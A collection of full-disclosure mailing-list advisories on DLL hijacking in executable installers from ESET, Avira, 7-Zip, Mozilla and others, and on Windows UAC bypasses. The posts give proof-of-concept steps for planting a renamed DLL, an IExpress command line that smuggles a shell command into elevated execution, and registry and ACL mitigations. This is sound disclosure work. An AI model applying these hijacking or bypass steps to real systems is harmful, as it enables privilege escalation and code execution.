administrative privileges ("protected" administrators are prompted
for consent, unprivileged standard users are prompted for an
administrator password); execution of any hijacked DLL results in
an escalation of privilege!
See <http://seclists.org/fulldisclosure/2015/Nov/101> and
<http://seclists.org/fulldisclosure/2015/Dec/86> plus
<http://home.arcor.de/skanthak/sentinel.html> and the still unfinished
<http://home.arcor.de/skanthak/!execute.html> for more details and why
executable installers (and self-extractors too) are bad.
F-Secure published a security advisory
<https://www.f-secure.com/en/web/labs_global/fsc-2015-4>
and made an updated version of their online scanner available on
<https://www.f-secure.com/en/web/home_global/online-scanner>
CAVEAT: F-Secure's fix works only on Windows Vista and newer versions;
the vulnerability is still present on earlier versions of
Windows!
stay tuned
Stefan Kanthak
Executable installers are vulnerable^WEVIL (case 14): Rapid7's ScanNowUPnP.exe allows arbitrary (remote) code execution
Hi @ll, the executable installer [°]['] (rather: the 7-Zip based executable self-extractor [²]) of Rapid7's (better known for their flagship Metasploit) ScanNowUPnP.exe loads and executes several rogue/bogus DLLs eventually found in the directory it is started from (the "application directory"), commonly known as "DLL hijacking". For software downloaded with a web browser the application directory is typically the "Downloads" directory: see <https://insights.sei.cmu.edu/cert/2008/09/carpet-bombing-and-directory-poisoning.html>, <http://blog.acrossecurity.com/2012/02/downloads-folder-binary-planting.html> and <http://seclists.org/fulldisclosure/2012/Aug/134> See the comprehensive write-up on Rapid7's community blog: <https://community.rapid7.com/community/infosec/blog/2015/12/21/scannow-dll-search-order-hijacking-vulnerability-and-deprecation> Especially note that Rapid7 removed the now deprecated ScanNowUPnP.exe and advises all users to remove it from any system that still has it. stay tuned Stefan Kanthak [°] <http://seclists.org/fulldisclosure/2015/Nov/101> ['] <http://seclists.org/bugtraq/2015/Dec/112> [²] <http://seclists.org/bugtraq/2015/Dec/61>
Executable installers are vulnerable^WEVIL (case 13): ESET NOD32 antivirus installer allows remote code execution with escalation of privilege
Hi @ll,
the executable installer [°] of ESET's NOD32 antivirus,
eset_nod32_antivirus_live_installer_.exe, loads and executes
(at least) the rogue/bogus/malicious Cabinet.dll and DbgHelp.dll
eventually found in the directory it is started from ['] (the
"application directory").
For software downloaded with a web browser this is typically the
"Downloads" directory: see
<https://insights.sei.cmu.edu/cert/2008/09/carpet-bombing-and-directory-poisoning.html>,
<http://blog.acrossecurity.com/2012/02/downloads-folder-binary-planting.html>
and <http://seclists.org/fulldisclosure/2012/Aug/134>
If Cabinet.dll or DbgHelp.dll get planted in the users "Downloads"
directory per "drive-by download" (or "social engineering") this
vulnerability becomes a remote code execution.
Due to the application manifest embedded in the executable which
specifies "requireAdministrator" the installer is started with
administrative privileges ("protected" administrators are prompted
for consent, unprivileged standard users are prompted for an
administrator password); execution of Cabinet.dll or DbgHelp.dll
then results in an escalation of privilege!
Proof of concept/demonstration:
~~~
(verified on Windows XP, Windows Vista, Windows 7, Windows Server
2008 [R2]; should work on newer versions too)
1. visit <http://home.arcor.de/skanthak/sentinel.html>, download
<http://home.arcor.de/skanthak/download/SENTINEL.DLL> and store
it as Cabinet.dll in your "Downloads" directory, then copy it as
DbgHelp.dll;
2. download eset_nod32_antivirus_live_installer_.exe and store it in
your "Downloads" directory;
3. run eset_nod32_antivirus_live_installer_.exe from your "Downloads"
directory;
4. notice the message boxes displayed from the DLLs placed in step 1.
PWNED!
Unsuspecting users who follow the guidance on ESET's web site
<http://www.eset.com/int/download/thank-you-eset-nod32-antivirus/file/13934/>
| (1) Download the .exe file to your computer and double-click
| it to start installation.
are the typical victims!
JFTR: I REALLY love (especially snakeoil) companies which don't
protect or at least warn their customers from even the most
trivial handling errors!
See <http://seclists.org/fulldisclosure/2015/Nov/101> plus
<http://home.arcor.de/skanthak/sentinel.html> and the still unfinished
<http://home.arcor.de/skanthak/!execute.html> for more details and why
executable installers (and self-extractors too) are bad.
Mitigation(s):
~~
0. DON'T USE EXECUTABLE INSTALLERS [°]!
If your favourite applications are not distributed in the native
installer package format of the resp. target platform: ask^WURGE
their vendors/developers to provide native installation packages.
If they don't: dump these applications, stay away from such cruft!
1. Turn off UAC's privilege elevation for standard users and installer
detection for all users:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System]
"ConsentPromptBehaviorUser"=dword: ; Automatically deny elevation
requests
"EnableInstallerDetection"=dword:
See
<https://technet.microsoft.com/en-us/library/dd835564.aspx#BKMK_RegistryKeys>
2. NEVER execute files in UNSAFE directories (like "Downloads" and
and "%TEMP%")!
3. Deny execution (at least) in the "Downloads" directories and all
"%TEMP%" directories and their subdirectories:
* Add the NTFS ACE "(D;OIIO;WP;;;WD)" meaning "deny execution of
files in this directory for everyone, inheritable to all files
in all subdirectories" (use CACLS.EXE /S: for example);
* Use "software restriction policies" resp. AppLocker.
Consider to apply either/both to every "%USERPROFILE%" as well as
"%ALLUSERSPROFILE%" alias %ProgramData%" and "%PUBLIC%": Windows
doesn't place executables in these directories and beyond.
See <http://home.arcor.de/skanthak/safer.html> as well as
<http://mechbgon.com/srp/> plus
<http://csrc.nist.gov/itsec/SP800-68r1.pdf>,
<https://www.nsa.gov/ia/_files/os/win2k/application_whitelisting_using_srp.pdf>
or <https://books.google.de/books?isbn=1437914926> and finally
<http://www.asd.gov.au/infosec/top35mitigationstrategies.htm>!
stay tuned
Stefan Kanthak
[°] Self-extracting archives and executable installers are flawed^W
b(rainde)ad in concept and dangerous in practice.
DON'T USE SUCH CRUFT!
ALWAYS use the resp. target platforms native package and archive
format.
For Windows these are .INF (plus .CAB) and .MSI (plus .CAB),
introduced 20 years ago (with Windows 95 and Windows NT4) resp.
16 years ago (with Off
Almost no resp. only some mitigation(s) for "DLL hijacking" via load-time dependencies
Hi @ll, in <http://seclists.org/fulldisclosure/2015/Nov/101> I showed general mitigations for DLL hijacking via runtime dependencies (<https://msdn.microsoft.com/en-us/library/ms685090.aspx>). DLL hijacking is but also possible via load-time dependencies (<https://msdn.microsoft.com/en-us/library/ms684184.aspx>)! Example: Quite some executable installers use the function timeGetTime() (<https://msdn.microsoft.com/en-us/library/dd757629.aspx>) implemented in WinMM.dll (and NO other function from WinMM.dll). BUT WHY? This function yields the same result as GetTickCount() (<https://msdn.microsoft.com/en-us/library/ms724408.aspx>) implemented in Kernel32.dll. The notable difference: WinMM.dll is NOT in the list of "known DLLs" (<https://support.microsoft.com/en-us/kb/164501>), so EVERY program which uses timeGetTime() from WinMM.dll instead of GetTickCount() will load a rogue WinMM.dll which exports timeGetTime from its application directory. This means: such programs are vulnerable to DLL hijacking unless run from SAFE locations like %ProgramFiles% or %SystemRoot% where unprivileged users can't place a rogue WinMM.dll etc. in the programs application directory. More general: if an executable installer links to functions not provided by "known DLLs" for all supported versions of Windows it is vulnerable to DLL hijacking via load-time dependencies, and there is NO mitigation except to run it from a safe location! Now that's a typical "catch 22": an installers task is to write the files of an application safely, i.e. without the possibility of tampering, to safe locations, i.e. %ProgramFiles% and %SystemRoot%, while the installer itself is located somewhere else, typically in a user's "Downloads" or %TEMP% directory, which are but unsafe and allow tampering via DLL hijacking. TELL YOUR USERS! TELL YOUR CUSTOMERS! WARN THEM! Or (better!): reduce your programs dependencies, i.e. stick to the basics^Wfunctions provided by Kernel32.dll (and the other "known DLLs") and eliminate the attack vectors for DLL hijacking via WinMM.dll and other "unknown DLLs". If you don't or can't: see above and WARN ALL YOUR USERS/CUSTOMERS! JFTR: the list of "known DLLs" varies with different Windows versions! Examples: 1. Version.dll was one of the "known DLLs" of Windows NT 5.x (resp. still is in Windows Embedded POSReady 2009): the (many) executable installers linked to its functions were/are therefore not vulnerable in Windows NT 5.x resp. Windows Embedded POSReady 2009. In newer versions of Windows Version.dll is none of the "known DLLs", so all executable installers using its functions became vulnerable to DLL hijacking then. 2. SetupAPI.dll is none of the "known DLLs" in Windows NT 5.x, but became so in newer versions of Windows: the (many) executable installers linked to its functions were/are vulnerable unter Windows NT 5.x resp. Windows Embedded POSReady 2009, but ain't vulnerable any more in all newer versions of Windows. Conclusion: executable installers which link to "unknown DLLs" are in general unsafe for normal users. The only SAFE option for general use is: DUMP executable installers. stay tuned Stefan Kanthak
Executable uninstallers are vulnerable^WEVIL (case 12): Avira Registry Cleaner allows arbitrary code execution with escalation of privilege
Hi @ll,
avira_registry_cleaner_en.exe, available from
<https://www.avira.com/en/download/product/avira-registry-cleaner>
to clean up remnants the uninstallers of their snakeoil products
fail to remove, is vulnerable: it loads and executes WTSAPI32.dll,
UXTheme.dll and RichEd20.dll from its application directory
(tested and verified under Windows XP SP3 and Windows 7 SP1).
For software downloaded with a web browser this is typically the
"Downloads" directory: see
<https://insights.sei.cmu.edu/cert/2008/09/carpet-bombing-and-directory-poisoning.html>,
<http://blog.acrossecurity.com/2012/02/downloads-folder-binary-planting.html>
and <http://seclists.org/fulldisclosure/2012/Aug/134>
Additionally see
<https://blogs.msdn.microsoft.com/oldnewthing/2010-00/?p=12303>:
the above named DLLs are delay-loaded.
You had been warned, kids!
Due to the application manifest embedded in the executable which
specifies "requireAdministrator" Windows' "user account control"
runs it with administrative privileges ("protected" administrators
are prompted for consent, unprivileged standard users are prompted
for an administrator password); execution of WTSAPI32.dll, UXTheme.dll
and/or RichEd20.dll thus results in an escalation of privilege!
If WTSAPI32.dll, UXTheme.dll or RichEd20.dll gets planted in the
users "Downloads" directory per "drive-by download" this
vulnerability becomes a remote code execution WITH escalation of
privilege.
Proof of concept/demonstration:
~~~
1. visit <http://home.arcor.de/skanthak/sentinel.html>, download
<http://home.arcor.de/skanthak/download/SENTINEL.DLL>, save
it as WTSAPI32.dll in your "Downloads" directory, then copy it
as UXTheme.dll and RichEd20.dll;
2. download avira_registry_cleaner_en.exe from
<https://www.avira.com/en/download/product/avira-registry-cleaner>
and save it in your "Downloads" directory;
3. execute avira_registry_cleaner_en.exe from your "Downloads"
directory;
4. notice the message boxes displayed from WTSAPI32.dll, UXTheme.dll
and/or RichEd20.dll placed in step 1.
stay tuned
Stefan Kanthak
Timeline:
~
2015-11-15vulnerability report sent to vendor
2015-11-16vendor acknowledges receipt
2015-11-17vendor verifies vulnerability report and anounces to
publish a fix within two weeks
2015-11-18asked vendor to request a CVE identifier and check
their other executable (un)installers too
2015-11-19vendor replies:
"We updated our compiler and its runtime to a version
which should mitigate the attack vector and modified
the DLL load order"
2015-12-08notification from vendor:
"We released a fixed version today"
2015-12-08your "fixed" cleaner still loads the named DLLs
2015-12-09response from vendor, asking how I verified execution
of UXTheme.dll, with screenshot of "Process Monitor"
showing the tell-tale line
"C:\Users\...\Downloads\CRYPTBASE.dllNAME NOT FOUND"
2015-12-09see <http://seclists.org/fulldisclosure/2015/Nov/101>
sent SAFER.log produced on Windows XP and Windows 7 to
vendor; also told them to look at the screenshot!
2015-12-17response from vendor:
"We don't see a vulnerability in the attempt to load
CRYPTBASE.dll from the application directory as shown
by Process Monitor. We think we fixed the reported
vulnerabilities and will not provide another fix."
OUCH!
I really LOVE snakeoil vendors who DON'T care about the safety and
security of their customers.
2015-12-18report published
Executable installers are vulnerable^WEVIL (case 10): McAfee Security Scan Plus, WebAdvisor and CloudAV (Beta)
Hi @ll, several McAfee "security" products, most notably their Security Scan Plus (see <http://seclists.org/fulldisclosure/2014/Apr/226> for a previous advisory) which Adobe pushes to unsuspecting users of Adobe Reader and Flash Player, are offered as executable installers built with the vulnerable Nullsoft Scriptable Install System (NSIS) (see <http://seclists.org/fulldisclosure/2015/Dec/32> for details). These executable installers are vulnerable and allow arbitrary (remote) code execution and escalation of privilege via the well- known attacks already published in the advisory regarding NSIS and the advisory <http://seclists.org/fulldisclosure/2015/Nov/101> titled Mitigations for "carpet bombing" alias "directory poisoning" attacks against executable installers For details specific to Intel's/McAfee's products and their vulnerabilities see Intel's Security Bulletin published today: <https://service.mcafee.com/FAQDocument.aspx?lc=1033=TS102462> stay tuned Stefan Kanthak
Executable installers are vulnerable^WEVIL (case 7): 7z*.exe allows remote code execution with escalation of privilege
Hi @ll,
the executable installers [°] of 7-Zip (see <http://www.7-zip.org/>)
and ALL self-extracting archives created with 7-Zip are vulnerable:
1. They load and execute a rogue/bogus/malicious UXTheme.dll [']
eventually found in the directory they are started from (the
"application directory").
For software downloaded with a web browser this is typically the
"Downloads" directory: see
<https://insights.sei.cmu.edu/cert/2008/09/carpet-bombing-and-directory-poisoning.html>,
<http://blog.acrossecurity.com/2012/02/downloads-folder-binary-planting.html>
and <http://seclists.org/fulldisclosure/2012/Aug/134>
If UXTheme.dll gets planted in the users "Downloads" directory
per "drive-by download" this vulnerability becomes a remote code
execution.
Due to an application manifest embedded in the executable which
specifies "requireAdministrator" or the "installer detection" (see
<https://technet.microsoft.com/en-us/library/dd835540.aspx#BKMK_InstDet>)
of Windows' "user account control" executable installers are
typically started with administrative privileges ("protected"
administrators are prompted for consent, unprivileged standard
users are prompted for an administrator password); execution of
UXTheme.dll then results in an escalation of privilege!
Proof of concept/demonstration:
~~~
1. visit <http://home.arcor.de/skanthak/sentinel.html>, download
<http://home.arcor.de/skanthak/download/SENTINEL.DLL> and store
it as UXTheme.dll in your "Downloads" directory;
Note: this is the 32-bit DLL; the 64-bit DLL is available in
<http://home.arcor.de/skanthak/download/SENTINEL.CAB>
2. download <http://www.7-zip.org/a/7z1512.exe> and store it in the
"Downloads" directory;
3. run 7z1512.exe from the "Downloads" directory;
4. notice the message box displayed from UXTheme.dll placed in step 1.
Mitigation(s):
~~
0. DON'T USE EXECUTABLE INSTALLERS [°]!
If your favourite applications are not distributed in the native
installer package format of the resp. target platform: ask^WURGE
their vendors/developers to provide native installation packages.
If they don't: dump these applications, stay away from such cruft!
1. Turn off UAC's privilege elevation for standard users and installer
detection for all users:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System]
"ConsentPromptBehaviorUser"=dword: ; Automatically deny elevation
requests
"EnableInstallerDetection"=dword:
See
<https://technet.microsoft.com/en-us/library/dd835564.aspx#BKMK_RegistryKeys>
2. NEVER execute files in UNSAFE directories (like "Downloads" and
and "%TEMP%")!
3. Deny execution (at least) in the "Downloads" directories and all
"%TEMP%" directories and their subdirectories:
* Add the NTFS ACE "(D;OIIO;WP;;;WD)" meaning "deny execution of
files in this directory for everyone, inheritable to all files
in all subdirectories" (use CACLS.EXE /S: for example);
* Use "software restriction policies" resp. AppLocker.
Consider to apply either/both to every "%USERPROFILE%" as well as
"%ALLUSERSPROFILE%" alias %ProgramData%" and "%PUBLIC%": Windows
doesn't place executables in these directories and beyond.
See <http://home.arcor.de/skanthak/safer.html> as well as
<http://mechbgon.com/srp/> plus
<http://csrc.nist.gov/itsec/SP800-68r1.pdf>,
<https://www.nsa.gov/ia/_files/os/win2k/application_whitelisting_using_srp.pdf>
or <https://books.google.de/books?isbn=1437914926> and finally
<http://www.asd.gov.au/infosec/top35mitigationstrategies.htm>!
stay tuned
Stefan Kanthak
PS: see <http://seclists.org/fulldisclosure/2015/Nov/101> (resp. the
not yet finished <http://home.arcor.de/skanthak/!execute.html>)
for more details!
PPS: the case numbers are not in chronological order.
[°] Self-extracting archives and executable installers are flawed^W
b(rainde)ad in concept and dangerous in practice.
DON'T USE SUCH CRUFT!
ALWAYS use the resp. target platforms native package and archive
format.
For Windows these are .INF (plus .CAB) and .MSI (plus .CAB),
introduced 20 years ago (with Windows 95 and Windows NT4) resp.
16 years ago (with Office 2000).
Both .INF and .MSI are "opened" by programs residing in
%SystemRoot%\System32\ which are therefore immune to this kind
of "DLL and EXE Search Order Hijacking" attack.
Since both .INF and .MSI access the contents of .CAB directly
they eliminate the attack vector "unsafe
Arbitrary code execution resp. escalation of privilege with Mozilla's SETUP.EXE
Hi @ll, Mozilla's (executable) full setup packages for Windows allow arbitrary code execution resp. escalation of privilege: their SETUP.EXE loads SHFOLDER.DLL ['] from a temporary (sub)directory "%TEMP%\7zS.tmp\" created during self-extraction of the full setup packages. This vulnerability is well-known, every developer past absolute beginner should know about it: <https://capec.mitre.org/data/definitions/471.html> See <https://bugzilla.mozilla.org/show_bug.cgi?id=792106> for all the trouble Mozilla's developers went through to fix this vulnerability in the 7zip self-extractor. See <https://bugzilla.mozilla.org/show_bug.cgi?id=961676> for this vulnerability in their maintenance_installer.exe. Proof of concept: ~ 1. fetch any Mozilla full setup package (these are self-extracting archives built with 7zip), for example "Firefox Setup 38.3.0esr.exe" from <https://www.mozilla.org/en-US/firefox/organizations/all/> 2. extract this full setup package into an arbitrary directory, for example "%TEMP%\7zSxyz.tmp", using (again for example) 7za.exe x -o"%TEMP%\7zSxyz.tmp" "Firefox Setup 38.3.0esr.exe" 3. fetch <http://home.arcor.de/skanthak/download/SENTINEL.DLL> (see <http://home.arcor.de/skanthak/sentinel.html>) and save it as "%TEMP%\7zSxyz.tmp\shfolder.dll" 4. start "%TEMP%\7zSxyz.tmp\setup.exe" per double-click: the installer detection of Windows user account control (see <https://technet.microsoft.com/en-us/library/dd835540.aspx#BKMK_InstDet>) will chime in and prompt for consent resp. for an administrator password, then "%TEMP%\7zSxyz.tmp\setup.exe" loads "%TEMP%\7zSxyz.tmp\shfolder.dll" which displays a message box Mitigation(s): ~~ 0. DON'T USE EXECUTABLE INSTALLERS [²]! If your favourite applications are not distributed in the native installer package format of the resp. target OS: ask^WURGE their vendors/developers to provide native installation packages. If they don't: dump these applications, stay away from such software! 1. Turn off privilege elevation for standard users and installer detection for all users: [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System] "ConsentPromptBehaviorUser"=dword: ; Automatically deny elevation requests "EnableInstallerDetection"=dword: See <https://technet.microsoft.com/en-us/library/dd835564.aspx> 2. deny execution in all "%TEMP%" directories and their subdirectories: * add the NTFS ACE "(D;OIIO;WP;;;WD)" meaning "deny execution of files in this directory for everyone, inheritable to all files in all subdirectories" (use CACLS.EXE /SDDL for example); * use "software restriction policies" resp. AppLocker. stay tuned Stefan Kanthak PS: Mozilla sits on this unfixed vulnerability for about 30 months: see <https://bugzilla.mozilla.org/show_bug.cgi?id=861012> ['] SHFOLDER.DLL is cruft from the last millennium, it was used on Windows 9x without Internet Explorer 4; see <https://support.microsoft.com/en-us/kb/241733> DONT USE the code shown in this MSKB article! See <https://msdn.microsoft.com/en-us/library/ff919712.aspx>, <https://msdn.microsoft.com/en-us/library/ms682586.aspx> and <https://technet.microsoft.com/en-us/library/2269637.aspx> [²] self-extracting archives and executable installers are flawed^W insanely stupid in concept and dangerous in practice. DON'T USE SUCH CRUFT! ALWAYS use the resp. platforms native package and archive format. For Windows these are .INF (plus .CAB) and .MSI (plus .CAB), introduced 20 years ago (with Windows 95 and Windows NT4) resp. 16 years ago (with Office 2000). Both .INF and .MSI are "opened" by programs residing in %SystemRoot%\System32\ which are therefore immune to this kind of "DLL (and EXE) Search Order Hijacking" attack. Since both .INF and .MSI can access the contents of .CAB directly they eliminate the attack vector "unsafe temporary directory" too. See <http://home.arcor.de/skanthak/temp/FIREFOX.INF> and <http://home.arcor.de/skanthak/temp/FIREFOX.DDF> as example of a native installer package for "Firefox 38.3.0 ESR (x86 de)": 1.a. create FIREFOX.CAB from the unpacked full setup package (see above; I used the german language version): run the command line MAKECAB.EXE /D SourceDir="%TEMP%\7zS.tmp\core" /F FIREFOX.DDF 1.b. create FIREFOX.CAB from the copy installed on your system: run the command line MAKECAB.EXE /D SourceDir="%ProgramFiles%\Mozilla Firefox" /F FIREFOX.DDF 2. install Firefox from FIREFOX.CAB: right-click FIREFOX.INF and then click "Install", or run the command line InfDefaultInstall.Exe "\FIREFOX.INF" resp. RunDll32.Exe SetupAPI.Dll,InstallHinfSection DefaultInstall 132 \FIREFOX.INF
Defense in depth -- the Microsoft way (part 35): Windows Explorer ignores "Run as administrator" ...
Hi @ll,
since Microsoft introduced the security theatre named "user account
control" with Windows Vista users cant start (another instance of)
the Windows Explorer with elevated rights any more: the "Run as
administrator" and the "Run as different user" context menu entries
only start another instance of Windows Explorer with but the
credentials of the logged on (interactive) user.
No, neither starting Windows Explorer per "Explorer.Exe /Separate"
nor setting the following registry entries overcomes this limitation:
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer]
"DesktopProcess"=dword:01
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced]
"SeparateProcess"=dword:01
Microsoft is well aware of this, but still doesnt remove or disable
these dysfunctional context menu entries for Explorer.exe, although
their own user experience interface guidelines request that (context)
menu entries which are not applicable must not be shown or have to be
disabled!
See <https://msdn.microsoft.com/en-us/library/dn742392.aspx>:
| Disable menu items that don't apply to the current context
...
| Remove rather than disable context menu items that don't
| apply to the current context.
or <http://www.microsoft.com/en-us/download/details.aspx?id=2695>
If you want to get rid of "Run as administrator" and "Run as
different user" for Explorer.exe to save yourself, your users and
your support/helpdesk from confusion or frustration add the following
registry entries:
[HKEY_CLASSES_ROOT\exefile\Shell\RunAs]
"AppliesTo"="System.FileName:<>Explorer.Exe"
[HKEY_CLASSES_ROOT\exefile\Shell\RunAsUser]
"AppliesTo"="System.FileName:<>Explorer.Exe"
See <https://msdn.microsoft.com/en-us/library/cc144171.aspx>
and <https://msdn.microsoft.com/en-us/library/bb266512.aspx>
to understand how and why this registry entry works.
JFTR: the context menu entry "Run as administrator" doesnt work at
all in standard user accounts when UAC is set to "never elevate".
This is another clear violation of Microsofts own UX guidelines!
stay tuned
Stefan Kanthak
PS: the script <http://home.arcor.de/skanthak/download/UAC.INF> adds
this and several other missing registry entries which enable
"Run as administrator" and "Run as different user" for quite some
file types.
Re: Defense in depth -- the Microsoft way (part 33): arbitrary code execution (and UAC bypass) via RegEdit.exe
I wrote ... and forgot some mitigations: [...] > Proof of concept (for Windows 2000 to Windows 10; use your own "sentinel" > instead of mine for Windows NT4): > > 1. get <http://home.arcor.de/skanthak/download/SENTINEL.DLL> (this is a >32-bit executable [*]; the 64-bit executable is available on request); > > 2. copy SENTINEL.DLL as %SystemRoot%\ACLUI.DLL (use the method shown >in <http://seclists.org/fulldisclosure/2015/Mar/92> to bypass UAC); > > 3. execute %SystemRoot%\RegEdit.exe > > > Mitigation(s): > ~~ > > 1. For %! In (%SystemRoot%\*.exe > %SystemRoot%\*.dll) Do If Not Exist %SystemRoot%\System32\%~nx! > MkLink /H %SystemRoot%\System32\%~nx! %! > > This but only helps if RegEdit.exe is not called with its fully > qualified pathname %SystemRoot%\RegEdit.exe > > 2. Define ACLUI.DLL as "known DLL": > >[HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session > Manager\KnownDLLs] >"aclui"="ACLUI.DLL" 3. Prevent elevation of RegEdit.exe per UAC in "protected administrator" accounts: [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers] "C:\Windows\RegEdit.Exe"="RUNASINVOKER" [HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers] "C:\Windows\RegEdit.Exe"="RUNASINVOKER" 4. Demote your "protected administrator" account created during Windows setup to a standard user account. See <http://windows.microsoft.com/en-us/windows/user-accounts-faq> and <http://windows.microsoft.com/en-us/windows/change-users-account-type>: | When you set up Windows, you were required to create a user account. | This account is an administrator account that allows you to set up | your computer and install any programs that you'd like to use. Once | you finish setting up your computer, we recommend that you create a | standard account and use it for your everyday computing. If you create | new user accounts, you should also make them standard accounts. Using | standard accounts will help keep your computer more secure. > [*] see <http://home.arcor.de/skanthak/sentinel.html> stay tuned Stefan Kanthak PS: more than 22 years after introduction of Windows NT Microsoft STILL continues their VERY BAD and REALLY NASTY habit to give the user account(s) created during Windows setup administrative rights! No, UAC is NOT a security boundary, but just a convenience feature: see <https://support.microsoft.com/en-us/kb/2526083>, <https://blogs.msdn.com/b/e7/archive/2009/02/05/update-on-uac.aspx>, <https://technet.microsoft.com/en-us/magazine/2009.07.uac.aspx>, <https://technet.microsoft.com/en-us/magazine/2007.09.securitywatch.aspx>, <https://technet.microsoft.com/en-us/magazine/2007.06.uac.aspx>, ... Jane and Joe Average will happily give consent to almost any program (like RegEdit.exe) which asks for elevated privileges, DESPITE most warnings!
Defense in depth -- the Microsoft way (part 33): arbitrary code execution (and UAC bypass) via RegEdit.exe
Hi @ll, part 31 (see <http://seclists.org/fulldisclosure/2015/Mar/92>) showed how to execute arbitrary (rogue) executables planted as %SystemRoot%\System32\RegEdit.exe, %SystemRoot%\System32\Explorer.exe etc. instead of %SystemRoot%\RegEdit.exe, %SystemRoot%\Explorer.exe etc., including a possible UAC bypass. This works since Microsoft (mis)places these executables (for historical "reasons") in %windir%\ alias %SystemRoot%\ (the path returned from the GetWindowsDirectory() function), although the hard-coded search order uses %SystemRoot%\System32\ (the path returned from the GetSystemDirectory() function) before %windir%\ alias %SystemRoot%\ JFTR: in x64 versions of Windows these historical "reasons" are but abandoned completely for 32-bit executables: the 32-bit counterparts of all 64-bit executables located in %SystemRoot%\ have been moved to %SystemRoot%\SysWoW64\. This is backwards compatible since %SystemRoot%\System32\ is redirected to %SystemRoot%\SysWoW64\ for 32-bit executables and due to the hard-coded search order, plus <https://msdn.microsoft.com/en-us/library/aa384187.aspx>: | Access to %windir%\regedit.exe is redirected to | %windir%\SysWOW64\regedit.exe. (Un)fortunately there is no redirection from %SystemRoot%\RegEdit.exe to %SystemRoot%\System32\RegEdit.exe for 64-bit executables and in x86 versions of Windows. RegEdit.exe load various DLLs; since the hard-coded search order (see <https://msdn.microsoft.com/en-us/library/ms682586.aspx>) uses the application directory first it is possible to have it load arbitrary (rogue) DLLs planted into %SystemRoot%\ instead of the system DLLs installed in %SystemRoot%\System32\ (except for the "known DLLs", see <https://support.microsoft.com/en-us/kb/164501>). Of course any other executable (mis)placed in %SystemRoot%\ might be (ab)used too! Proof of concept (for Windows 2000 to Windows 10; use your own "sentinel" instead of mine for Windows NT4): 1. get <http://home.arcor.de/skanthak/download/SENTINEL.DLL> (this is a 32-bit executable [*]; the 64-bit executable is available on request); 2. copy SENTINEL.DLL as %SystemRoot%\ACLUI.DLL (use the method shown in <http://seclists.org/fulldisclosure/2015/Mar/92> to bypass UAC); 3. execute %SystemRoot%\RegEdit.exe Mitigation(s): ~~ 1. For %! In (%SystemRoot%\*.exe %SystemRoot%\*.dll) Do If Not Exist %SystemRoot%\System32\%~nx! MkLink /H %SystemRoot%\System32\%~nx! %! This but only helps if RegEdit.exe is not called with its fully qualified pathname %SystemRoot%\RegEdit.exe 2. Define ACLUI.DLL as "known DLL": [HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\KnownDLLs] "aclui"="ACLUI.DLL" stay tuned Stefan Kanthak [*] see <http://home.arcor.de/skanthak/sentinel.html>
Defense in depth -- the Microsoft way (part 32): yet another (trivial) UAC bypass resp. privilege escalation
Hi @ll, in <http://seclists.org/fulldisclosure/2013/Sep/132> I showed an elaborated way for privilege elevation using IExpress (and other self-extracting) installers containing *.MSI or *.MSP which works "in certain situations". Microsoft addressed this vulnerability with <https://technet.microsoft.com/library/security/ms14-049.aspx> In <http://seclists.org/fulldisclosure/2013/Oct/5> I showed an indirect way for privilege elevation using IExpress installers and "binary planting". But there's a direct way too: just call any IExpress installer (the Microsoft download center offers plenty of them) with a command line of your choice, for example CAPICOM-KB931906-v2102.exe /C:"%COMSPEC% /K Title PWNED!" Due to UACs installer detection the given command line is executed with full administrative privileges. stay tuned Stefan Kanthak PS: this attack vector can be (ab)used with WSUS(pect)! Using legitimate IExpress packages like CAPICOM-KB931906-v2102.exe, RvkRoots.exe (cf. <https://support.microsoft.com/en-us/kb/3050995>) or RootsUpd-KB931125-*.exe which are distributed per Windows Update has the advantage that the clients %SystemRoot%\WindowsUpdate.log and their %SystemRoot%\SoftwareDistribution\Download folder dont show telltale signs of 3rd party executables (as used/proposed by the authors of WSUSpect). JFTR: I *love* security fixes which are vulnerable themself.
Re: Windows Platform Binary Table (WPBT) - BIOS PE backdoor
Kevin Beaumont kevin.beaum...@gmail.com wrote: [...] Microsoft documented a feature in Windows 8 and above called Windows Platform Binary Table. Cf. http://www.acpi.info/links.htm where WPBT is linked to http://go.microsoft.com/fwlink/p/?LinkId=234840 alias https://msdn.microsoft.com/en-US/library/windows/hardware/dn550976 Up until two days ago, this was a single Word document not referenced elsewhere on Google: http://webcache.googleusercontent.com/search?q=cache:H-SSYRAB0usJ:download.microsoft.com/download/8/A/2/8A2FB72D-9B96-4E2D-A559-4A27CF905A80/windows-platform-binary-table.docx+cd=1hl=enct=clnkgl=us This feature allows a BIOS to deliver the payload of an executable, which is run in memory, silently, each time a system is booted. The executable code is run under under Session Manager context (i.e. SYSTEM). This sort of feature is NOT new: with Windows 2003 Microsoft introduced the loading of virtual OEM device drivers during Windows setup, see https://support.microsoft.com/en-us/kb/896453 AFAIK at least HP and Dell used this method to deploy [F6] drivers embedded in their BIOS. [...] stay tuned Stefan Kanthak
Re: [FD] Mozilla extensions: a security nightmare
Mario Vilas mvi...@gmail.com wrote: W^X applies to memory protection, completely irrelevant here. I recommend to revisit elementary school and start to learn reading! http://seclists.org/bugtraq/2015/Aug/8 | JFTR: current software separates code from data in virtual memory and | uses write xor execute or data execution prevention to | prevent both tampering of code and execution of data. | The same separation and protection can and of course needs to be | applied to code and data stored in the file system too! Plus you're saying in every situation when a user can overwrite its own binaries in its own home folder it's a bug Again: learn to read! http://seclists.org/bugtraq/2015/Aug/14 | No. Writing executable code is NOT the problem here. | The problem is running this code AFTER it has been tampered. | (Not only) Mozilla but does NOT detect tampered code. - that would make every single Linux distro vulnerable whenever you install some software in your own home directory that only you can use. # mount /home -onoexec If you're talking about file and directory permissions it makes sense to talk about privilege escalation. No. But I don't think you really understand those security principles you're citing. For example, can you give me an example of an attack scenario? The attack vector is OBVIOUS, exploitation is TRIVIAL. Also, take a chill pill. Your aggressive tone isn't really helping you at 